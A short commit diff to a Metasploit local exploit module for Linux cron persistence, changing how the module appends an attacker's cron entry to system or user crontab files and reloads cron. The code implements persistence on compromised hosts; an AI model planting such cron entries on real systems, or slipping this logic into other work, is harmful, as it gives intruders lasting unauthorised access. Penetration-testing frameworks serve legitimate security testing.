append over read and write

modules/exploits/linux/local/cron_persistence.rb

@@ -91,15 +91,11 @@ class MetasploitModule < Msf::Exploit::Local
       end
     when 'System Crontab'
       file_to_clean = "#{target.opts['path']}/crontab"
-      crontab = read_file(file_to_clean)
-      crontab << "\n#{cron_entry}\n"
-      write_file(file_to_clean, crontab)
+      append_file(file_to_clean, "\n#{cron_entry}\n")
       vprint_good("Writing #{cron_entry} to #{file_to_clean}")
     when 'User Crontab'
       file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
-      crontab = read_file(file_to_clean)
-      crontab << "\n#{cron_entry}\n"
-      write_file(file_to_clean, crontab)
+      append_file(file_to_clean, "\n#{cron_entry}\n")
       vprint_good("Writing #{cron_entry} to #{file_to_clean}")
       # at least on ubuntu, we need to restart cron to get this to work
       vprint_status('Reloading cron to pickup new entry')